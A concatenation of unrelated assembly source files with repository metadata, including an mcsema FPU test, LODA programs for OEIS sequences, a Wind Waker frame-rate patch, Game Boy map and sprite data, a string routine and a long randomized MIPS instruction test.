mc-sema/validator/x86_64/tests/DIV_F32m.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_FPU_C1|FLAG_FPU_PE
;TEST_FILE_META_END
; set up st0 to be 3.141593
FLDPI
FLD1
;TEST_BEGIN_RECORDING
lea rdi, [rsp-08]
FSTP dword [rdi]
FDIV dword [rdi]
mov edi, 0
;TEST_END_RECORDING
| 15.9375
| 41
| 0.803922
|
deb37457a4adcbc3b43c4f8446a96371b95e71da
| 653
|
asm
|
Assembly
|
programs/oeis/340/A340507.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/340/A340507.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/340/A340507.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A340507: a(n) = floor(sqrt(2*n)) - A003056(n).
; 0,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1
cal $0,185914 ; Array: T(n,k)=k-n+1 for k>=n; T(n,k)=0 for k<n; by antidiagonals.
mov $1,$0
cmp $1,0
| 93.285714
| 501
| 0.517611
|
1f4a16d99700263a18cdc0f643f41ccb9f1533cd
| 414
|
asm
|
Assembly
|
oeis/088/A088677.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/088/A088677.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/088/A088677.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A088677: Numbers that can be represented as j^6 + k^6, with 0 < j < k, in exactly one way.
; Submitted by Christian Krause
; 65,730,793,4097,4160,4825,15626,15689,16354,19721,46657,46720,47385,50752,62281,117650,117713,118378,121745,133274,164305,262145,262208,262873,266240,277769,308800,379793,531442,531505,532170,535537,547066
lpb $0
add $1,1
sub $0,$1
lpe
add $0,1
pow $0,6
add $1,2
pow $1,6
add $0,$1
| 29.571429
| 207
| 0.731884
|
9e59f57d91641ef1dac2a3bf49a7e624a62f1146
| 237
|
asm
|
Assembly
|
SOURCE ASM FILES/FPSHack_TEST_SlowHookShotIn.asm
|
Meowmaritus/Wind-Waker-60FPS-Hack
|
13696724637a1c60e82ef76759af85e3c78356ef
|
[
"MIT"
] | 14
|
2017-08-16T17:20:21.000Z
|
2021-12-07T03:45:12.000Z
|
SOURCE ASM FILES/FPSHack_TEST_SlowHookShotIn.asm
|
Meowmaritus/Wind-Waker-60FPS-Hack
|
13696724637a1c60e82ef76759af85e3c78356ef
|
[
"MIT"
] | 1
|
2018-05-26T12:32:23.000Z
|
2018-08-10T06:48:38.000Z
|
SOURCE ASM FILES/FPSHack_TEST_SlowHookShotIn.asm
|
Meowmaritus/Wind-Waker-60FPS-Hack
|
13696724637a1c60e82ef76759af85e3c78356ef
|
[
"MIT"
] | 6
|
2017-12-25T01:48:35.000Z
|
2021-12-07T21:07:30.000Z
|
#To be inserted at 800f2620
###############################
##FPSHack_TEST_SlowHookShotIn##
###############################
lis r17, 0x817F
lfs f17, 0x0004 (r17) #Load FloatSlowdown
lfs f0, -0x5EE8 (rtoc) #Vanilla
fmuls f0, f0, f17
| 23.7
| 41
| 0.535865
|
3edaee6e939d2ae758b186e17b7934c019b539a2
| 542
|
asm
|
Assembly
|
oeis/322/A322829.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/322/A322829.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/322/A322829.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A322829: a(n) = Jacobi (or Kronecker) symbol (n/21).
; Submitted by Christian Krause
; 0,1,-1,0,1,1,0,0,-1,0,-1,-1,0,-1,0,0,1,1,0,-1,1,0,1,-1,0,1,1,0,0,-1,0,-1,-1,0,-1,0,0,1,1,0,-1,1,0,1,-1,0,1,1,0,0,-1,0,-1,-1,0,-1,0,0,1,1,0,-1,1,0,1,-1,0,1,1,0,0,-1,0,-1,-1,0,-1,0,0,1,1,0,-1,1,0
mov $1,$0
seq $1,314096 ; Coordination sequence Gal.4.73.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $2,$0
mul $0,6
mul $2,$1
sub $0,$2
sub $0,1
mod $0,3
add $0,1
| 38.714286
| 195
| 0.605166
|
f871179f03800bd9eb81db3027fae3291e9d6050
| 366
|
asm
|
Assembly
|
data/mapHeaders/route20.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
data/mapHeaders/route20.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
data/mapHeaders/route20.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
Route20_h:
db OVERWORLD ; tileset
db ROUTE_20_HEIGHT, ROUTE_20_WIDTH ; dimensions (y, x)
dw Route20Blocks, Route20TextPointers, Route20Script ; blocks, texts, scripts
db WEST | EAST ; connections
WEST_MAP_CONNECTION ROUTE_20, CINNABAR_ISLAND, 0, 0, CinnabarIslandBlocks
EAST_MAP_CONNECTION ROUTE_20, ROUTE_19, -3, 15, Route19Blocks
dw Route20Object ; objects
| 40.666667
| 78
| 0.800546
|
6978ac106b107bc4ef857d6b3ec929849f830f1d
| 366
|
asm
|
Assembly
|
arch/lib/string/mid_string.asm
|
Mosseridan/Compiler-Principles
|
6c72a462b90ca6c6db380976c2aa60471fa65325
|
[
"MIT"
] | null | null | null |
arch/lib/string/mid_string.asm
|
Mosseridan/Compiler-Principles
|
6c72a462b90ca6c6db380976c2aa60471fa65325
|
[
"MIT"
] | null | null | null |
arch/lib/string/mid_string.asm
|
Mosseridan/Compiler-Principles
|
6c72a462b90ca6c6db380976c2aa60471fa65325
|
[
"MIT"
] | null | null | null |
/* mid_string.asm
* Copy the middle N chars in a string, from position Pos:
* R0 = dest <- mid_string(dest, src, Pos, N))
*
* Programmer: Mayer Goldberg, 2010
*/
MID_STRING:
MOV(R3, STARG(3));
MOV(R2, STARG(1));
ADD(R2, STARG(2));
MOV(R1, STARG(0));
PUSH(R3);
PUSH(R2);
PUSH(R1);
CALL(LEFT_STRING);
POP(R1);
POP(R1);
POP(R1);
RETURN;
| 17.428571
| 58
| 0.595628
|
49d354152fce47783ae778c23ea0bda772d3493f
| 615
|
asm
|
Assembly
|
programs/oeis/053/A053838.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/053/A053838.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/053/A053838.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A053838: a(n) = (sum of digits of n written in base 3) modulo 3.
; 0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,1,2,0,2,0,1,0,1,2,2,0,1,0,1,2,1,2,0,0,1,2,1,2,0,2,0,1,1,2,0,2,0,1,0
lpb $0,1
add $1,$0
div $0,3
lpe
mod $1,3
| 68.333333
| 501
| 0.515447
|
ef7c6b0db48a1e7b513550c9bb3a498f96306e14
| 4,683
|
asm
|
Assembly
|
unused/develop/obj/spritesheet_0.asm
|
pau-tomas/gbvm
|
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
|
[
"MIT"
] | 33
|
2020-12-27T11:53:23.000Z
|
2022-02-19T23:05:12.000Z
|
unused/develop/obj/spritesheet_0.asm
|
pau-tomas/gbvm
|
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
|
[
"MIT"
] | 2
|
2020-12-10T16:53:53.000Z
|
2022-01-31T21:42:01.000Z
|
unused/develop/obj/spritesheet_0.asm
|
pau-tomas/gbvm
|
c2c7a93a42f6e3168b013c93c4a3bd1c9e8b989b
|
[
"MIT"
] | 6
|
2021-04-18T08:09:16.000Z
|
2022-01-31T21:52:24.000Z
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module spritesheet_0
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _spritesheet_0
.globl _spritesheet_0_animations_lookup
.globl _spritesheet_0_animations
.globl _spritesheet_0_metasprites
.globl _spritesheet_0_metasprite_7
.globl _spritesheet_0_metasprite_6
.globl _spritesheet_0_metasprite_5
.globl _spritesheet_0_metasprite_4
.globl _spritesheet_0_metasprite_3
.globl _spritesheet_0_metasprite_2
.globl _spritesheet_0_metasprite_1
.globl _spritesheet_0_metasprite_0
.globl ___bank_spritesheet_0
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
___bank_spritesheet_0 = 0x00ff
_spritesheet_0_metasprite_0:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x02 ; 2
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_1:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_2:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x0a ; 10
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_3:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x0c ; 12
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x0e ; 14
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_4:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x12 ; 18
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_5:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x16 ; 22
.db #0x00 ; 0
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_6:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x12 ; 18
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x10 ; 16
.db #0x20 ; 32
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprite_7:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x20 ; 32
.db #0x00 ; 0
.db #0x08 ; 8
.db #0x14 ; 20
.db #0x20 ; 32
.db #0x80 ; -128
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
_spritesheet_0_metasprites:
.dw _spritesheet_0_metasprite_0
.dw _spritesheet_0_metasprite_1
.dw _spritesheet_0_metasprite_2
.dw _spritesheet_0_metasprite_3
.dw _spritesheet_0_metasprite_4
.dw _spritesheet_0_metasprite_5
.dw _spritesheet_0_metasprite_6
.dw _spritesheet_0_metasprite_7
_spritesheet_0_animations:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x04 ; 4
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x02 ; 2
.db #0x06 ; 6
.db #0x06 ; 6
.db #0x00 ; 0
.db #0x01 ; 1
.db #0x04 ; 4
.db #0x05 ; 5
.db #0x02 ; 2
.db #0x03 ; 3
.db #0x06 ; 6
.db #0x07 ; 7
_spritesheet_0_animations_lookup:
.dw #0x0000
_spritesheet_0:
.db #0x06 ; 6
.dw _spritesheet_0_metasprites
.dw _spritesheet_0_animations
.dw _spritesheet_0_animations_lookup
.db #0x00 ; 0
.db #0x0f ; 15
.db #0x00 ; 0
.db #0x07 ; 7
.byte ___bank_spritesheet_0_tiles
.dw _spritesheet_0_tiles
.db #0x00 ; 0
.dw #0x0000
.area _INITIALIZER
.area _CABS (ABS)
| 22.955882
| 57
| 0.505018
|
3b30f8cc8a13d68facfaf12eceab3ecf1823d27f
| 764
|
asm
|
Assembly
|
programs/oeis/246/A246074.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/246/A246074.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/246/A246074.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A246074: Paradigm Shift Sequence for a (-4,5) production scheme with replacement.
; 1,2,3,4,5,6,7,8,9,10,11,12,14,16,18,20,22,24,28,32,36,40,44,48,56,64,72,80,88,96,112,128,144,160,176,192,224,256,288,320,352,384,448,512,576,640,704,768,896,1024,1152,1280,1408,1536,1792,2048,2304,2560,2816,3072,3584,4096,4608,5120,5632,6144,7168,8192,9216,10240,11264,12288,14336,16384,18432,20480,22528,24576,28672,32768,36864,40960,45056,49152,57344,65536,73728,81920,90112,98304,114688,131072,147456,163840,180224,196608,229376,262144,294912,327680
mov $2,$0
add $2,1
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
mov $3,2
mov $4,$0
div $4,6
pow $3,$4
mul $0,$3
cmp $0,7
mov $5,1
add $7,$3
add $5,$7
div $5,2
add $1,$5
mov $7,$0
lpe
mov $0,$1
| 30.56
| 454
| 0.680628
|
94e4b3826016ff8e8242d18817df2178cdb946d7
| 1,076
|
asm
|
Assembly
|
2016/23/test.asm
|
CoderPuppy/advent-of-code
|
8cdccd2b3f2f9555abfbc35708bf4fc366bf4449
|
[
"MIT"
] | null | null | null |
2016/23/test.asm
|
CoderPuppy/advent-of-code
|
8cdccd2b3f2f9555abfbc35708bf4fc366bf4449
|
[
"MIT"
] | null | null | null |
2016/23/test.asm
|
CoderPuppy/advent-of-code
|
8cdccd2b3f2f9555abfbc35708bf4fc366bf4449
|
[
"MIT"
] | null | null | null |
section .data
format: db "%d: %d %d %d %d", 10, 0
; format: db "hello world", 10, 0
section .text
bits 64
global main
extern printf
log:
mov rdi, format
mov rsi, r14
mov rdx, rbp
mov rcx, rbx
mov r8, r12
mov r9, r13
xor rax, rax
call printf
ret
main:
push rbp
push rbx
push r12
push r13
push r14
xor r14, r14
xor rbp, rbp
xor rbx, rbx
xor r12, r12
xor r13, r13
mov rbp, 7
mov r14, 0
call log
; cpy a b
mov rbx, rbp
; dec b
dec rbx
j4:
; cpy a d
mov r13, rbp
; cpy 0 a
mov rbp, 0
j2:
; cpy b c
mov r12, rbx
j1:
; inc a
inc rbp
; dec c
dec r12
; jnz c -2
cmp r12, 0
jne j1
; dec d
dec r13
; jnz d -5
cmp r13, 0
jne j2
; dec b
dec rbx
; cpy b c
mov r12, rbx
; cpy c d
mov r13, r12
j3:
; dec d
dec r13
; inc c
inc r12
; jnz d -2
cmp r13, 0
jne j3
mov r14, 1
call log
; tgl c
; !!!STATIC!!!
; cpy -16 c
mov r12, -16
; jnz 1 c
; !!!STATIC!!!
jmp j4
; cpy 85 c
mov r12, 85
; jnz 91 d
; !!!STATIC!!!
; d=0
; inc a
; inc d
; jnz d -2
; inc c
; jnz c -5
pop r13
pop r12
pop rbx
pop rbp
ret
| 10.150943
| 36
| 0.570632
|
da3f64f191ffbb84f2a1d02e0ec546e590b5db5e
| 731
|
asm
|
Assembly
|
oeis/001/A001590.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/001/A001590.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/001/A001590.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A001590: Tribonacci numbers: a(n) = a(n-1) + a(n-2) + a(n-3) with a(0)=0, a(1)=1, a(2)=0.
; Submitted by Jon Maiga
; 0,1,0,1,2,3,6,11,20,37,68,125,230,423,778,1431,2632,4841,8904,16377,30122,55403,101902,187427,344732,634061,1166220,2145013,3945294,7256527,13346834,24548655,45152016,83047505,152748176,280947697,516743378,950439251,1748130326,3215312955,5913882532,10877325813,20006521300,36797729645,67681576758,124485827703,228965134106,421132538567,774583500376,1424681173049,2620397211992,4819661885417,8864740270458,16304799367867,29989201523742,55158741162067,101452742053676,186600684739485,343212167955228
mov $3,1
lpb $0
sub $0,1
mov $1,$4
mov $4,$2
mov $2,$1
add $2,$3
mov $3,$1
add $4,$1
lpe
mov $0,$2
| 45.6875
| 499
| 0.763338
|
fb932e25b366855a40db264a0238ae8964527709
| 10,650
|
asm
|
Assembly
|
P6/data_P6_2/MDTest155.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | 1
|
2022-01-23T09:24:47.000Z
|
2022-01-23T09:24:47.000Z
|
P6/data_P6_2/MDTest155.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
P6/data_P6_2/MDTest155.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
ori $ra,$ra,0xf
mflo $4
mfhi $3
srav $3,$2,$3
ori $3,$4,56619
sb $0,3($0)
lb $0,0($0)
multu $0,$0
mfhi $5
lui $1,10391
srav $6,$4,$4
lui $5,26299
divu $5,$ra
mfhi $5
mthi $0
div $5,$ra
lb $2,3($0)
addiu $4,$4,-25342
addiu $4,$1,-32021
sb $6,13($0)
multu $4,$0
addu $4,$6,$4
mthi $4
mthi $5
multu $6,$4
addiu $3,$0,-17568
multu $6,$0
mult $1,$3
addu $4,$2,$4
mthi $6
mfhi $1
addiu $5,$2,-10377
mult $5,$2
divu $3,$ra
div $0,$ra
sb $5,3($0)
srav $4,$1,$4
mthi $4
div $4,$ra
multu $0,$6
sb $5,7($0)
mtlo $4
mthi $4
multu $1,$3
multu $3,$3
mflo $4
divu $2,$ra
mthi $1
srav $1,$1,$3
addu $4,$2,$2
mthi $1
sll $5,$5,9
mfhi $0
lui $4,49094
mfhi $2
lb $4,8($0)
divu $2,$ra
addiu $5,$3,6536
srav $1,$1,$3
mthi $1
ori $1,$4,43217
multu $5,$5
mult $3,$1
addu $5,$4,$5
sb $4,7($0)
addiu $1,$4,-14126
divu $6,$ra
mflo $6
srav $0,$0,$4
addiu $4,$4,-4306
mfhi $5
multu $5,$5
sb $3,4($0)
mfhi $2
multu $3,$1
lui $5,62946
mflo $1
srav $1,$4,$1
sb $0,0($0)
ori $5,$5,50132
sll $4,$2,30
mult $4,$5
lui $3,4654
addu $4,$1,$1
srav $5,$2,$5
lb $4,0($0)
addiu $2,$2,9082
sb $5,16($0)
mtlo $4
lb $5,13($0)
mthi $1
lui $4,10852
mflo $1
srav $0,$2,$4
divu $1,$ra
addiu $0,$5,-18648
mfhi $1
sb $5,1($0)
ori $1,$4,27426
mult $2,$1
srav $2,$2,$3
sll $1,$5,31
sll $1,$2,7
sll $1,$1,7
mthi $4
lui $6,33770
srav $5,$2,$0
mfhi $0
mult $4,$4
ori $2,$2,49267
ori $4,$6,38324
addiu $4,$1,25191
mthi $4
sb $6,5($0)
div $4,$ra
ori $5,$5,16260
srav $2,$0,$2
mult $2,$2
sll $4,$4,27
divu $1,$ra
addu $2,$4,$2
mthi $0
mtlo $0
div $6,$ra
addiu $1,$0,-6097
mult $0,$0
multu $1,$6
srav $4,$1,$1
mflo $6
mtlo $4
mflo $0
mthi $4
lui $2,28261
div $1,$ra
mflo $0
mfhi $5
mthi $5
addiu $3,$3,9529
addiu $4,$4,-28307
mult $4,$6
addu $4,$5,$5
addiu $6,$6,4381
srav $5,$1,$1
lui $0,47778
mthi $0
addiu $4,$6,-12914
mfhi $2
addiu $5,$6,24978
sll $1,$1,31
multu $2,$2
srav $6,$3,$3
mflo $4
addu $5,$5,$3
mthi $1
mtlo $4
addiu $0,$5,11205
lb $4,16($0)
mult $1,$0
ori $3,$2,60352
sb $0,16($0)
divu $4,$ra
mult $2,$2
srav $4,$4,$4
addiu $4,$5,1126
sll $5,$5,14
ori $4,$4,33345
sll $1,$4,9
divu $2,$ra
divu $4,$ra
lb $5,5($0)
mult $0,$2
lui $4,30993
mfhi $1
addu $5,$5,$1
addiu $2,$2,4784
multu $1,$1
mfhi $5
mthi $2
mtlo $2
lb $5,5($0)
srav $1,$4,$4
divu $5,$ra
addu $4,$6,$6
mult $5,$1
sll $5,$6,29
srav $2,$5,$2
divu $5,$ra
mtlo $2
mflo $5
srav $0,$1,$1
divu $1,$ra
sb $2,2($0)
mult $5,$2
divu $6,$ra
mult $4,$2
lui $0,10576
ori $5,$3,47705
lui $2,61351
divu $5,$ra
mfhi $1
multu $3,$3
mflo $5
mflo $6
lb $0,4($0)
div $6,$ra
addiu $2,$2,31946
lb $1,4($0)
mtlo $1
mtlo $4
mflo $6
ori $4,$4,18270
divu $5,$ra
lui $4,35331
sb $5,9($0)
lb $1,7($0)
sll $3,$2,16
sll $4,$2,24
mfhi $1
mthi $0
sb $4,13($0)
multu $4,$4
sb $3,14($0)
mflo $3
mtlo $4
srav $5,$6,$4
sll $5,$5,21
div $2,$ra
mthi $1
mthi $3
mfhi $4
srav $1,$4,$1
sll $2,$2,8
lui $5,27236
multu $4,$4
addu $4,$4,$4
lb $3,14($0)
lb $4,12($0)
div $6,$ra
sll $4,$1,12
sll $4,$4,31
mthi $1
lui $4,36079
mflo $2
sll $2,$5,12
addiu $2,$1,-693
mflo $5
divu $3,$ra
mflo $6
divu $6,$ra
mtlo $3
lb $5,4($0)
lb $5,10($0)
div $0,$ra
mult $0,$5
div $1,$ra
div $3,$ra
srav $1,$1,$2
divu $4,$ra
lui $1,34392
addu $4,$2,$3
sll $0,$5,23
sll $6,$2,29
mfhi $4
multu $1,$1
mfhi $4
srav $2,$4,$2
divu $3,$ra
divu $4,$ra
srav $0,$0,$0
sll $6,$4,25
mfhi $5
mflo $5
mfhi $1
lb $0,16($0)
lui $0,6333
mult $1,$1
mfhi $4
ori $1,$4,26868
lui $1,32549
sll $4,$0,17
mfhi $0
lui $5,45636
div $1,$ra
ori $5,$1,61768
mfhi $4
lui $3,27921
mthi $4
ori $4,$2,34955
lui $4,3048
mfhi $6
mthi $5
addiu $1,$5,7376
lb $4,15($0)
mtlo $3
srav $1,$1,$4
multu $0,$3
addu $1,$0,$3
addu $1,$1,$2
addu $5,$2,$2
mflo $5
mfhi $4
mthi $5
div $2,$ra
addu $5,$6,$5
div $3,$ra
mflo $0
multu $2,$5
multu $6,$4
addu $4,$2,$2
sb $1,10($0)
multu $5,$5
div $5,$ra
addu $4,$2,$2
ori $5,$1,64128
mult $1,$1
mthi $4
mthi $5
mtlo $4
mthi $5
div $1,$ra
mthi $1
addu $5,$0,$6
multu $4,$1
div $5,$ra
mflo $1
mflo $5
addiu $5,$2,21856
mult $6,$4
srav $6,$1,$1
divu $1,$ra
multu $4,$4
srav $3,$2,$3
mflo $2
mtlo $4
mthi $5
lui $2,58410
div $6,$ra
lb $4,9($0)
div $2,$ra
ori $6,$2,47222
sb $3,0($0)
divu $5,$ra
lb $5,13($0)
addu $6,$1,$0
lb $4,3($0)
mtlo $3
divu $0,$ra
multu $5,$4
sll $1,$2,6
div $1,$ra
srav $4,$4,$5
mtlo $1
divu $5,$ra
mult $1,$2
ori $4,$4,20830
div $4,$ra
mtlo $2
lb $6,13($0)
lui $2,37253
srav $1,$1,$4
sll $1,$1,31
multu $2,$2
lb $4,5($0)
ori $4,$5,24467
addu $1,$1,$4
mflo $5
divu $5,$ra
mult $3,$0
mult $0,$0
multu $4,$4
mfhi $1
addiu $2,$2,-12604
sb $2,12($0)
lb $5,2($0)
divu $1,$ra
lui $4,36387
mult $4,$2
addiu $3,$3,4973
ori $0,$4,56387
mult $5,$5
mult $1,$1
lb $4,3($0)
sb $2,6($0)
srav $5,$6,$1
mfhi $3
mfhi $2
mthi $5
ori $1,$4,18649
addu $4,$2,$3
divu $5,$ra
multu $4,$1
sb $4,7($0)
mthi $3
mthi $0
ori $2,$2,3576
ori $6,$1,36530
sb $4,0($0)
ori $4,$4,9045
mfhi $5
addu $6,$2,$6
div $5,$ra
lui $1,25888
mtlo $6
ori $0,$5,41858
ori $4,$4,4880
div $0,$ra
mtlo $5
divu $5,$ra
mflo $5
sb $0,16($0)
ori $4,$4,29752
sb $1,10($0)
lui $4,34057
sb $4,4($0)
mthi $1
mfhi $4
ori $4,$6,23248
srav $6,$2,$2
multu $6,$5
multu $5,$1
mthi $4
lui $1,63104
multu $4,$0
divu $4,$ra
divu $1,$ra
addiu $4,$2,6567
lui $3,42133
mflo $0
sll $6,$3,2
mtlo $1
mthi $2
